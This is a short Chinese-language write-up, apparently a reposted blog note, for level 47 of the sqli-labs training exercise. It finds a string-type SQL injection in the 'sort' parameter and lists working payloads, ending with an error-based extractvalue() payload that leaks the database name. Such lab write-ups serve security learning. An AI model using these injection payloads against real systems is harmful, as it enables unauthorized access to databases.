sqllab第四十七关通关笔记

作者：Gausst松鼠会 | 2024-03-19 09:52:41

踩

sqllab第四十七关通关笔记

知识点：

通过测试发现是一个字符型注入

构造payload:sort=2' 报错了

构造payload:sort=2'' 不提示报错了

说明这里存在字符型注入

尝试进行单引号绕过

构造payload:sort=2'and 1='1

这里其实and后面的没起到作用，整体也没作用感觉，内容顺序没变过

构造payload:sort=2'and extractvalue(1,concat(0x7e,database(),0x7e))='1

成功获取到了数据库名

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/Gausst松鼠会/article/detail/267473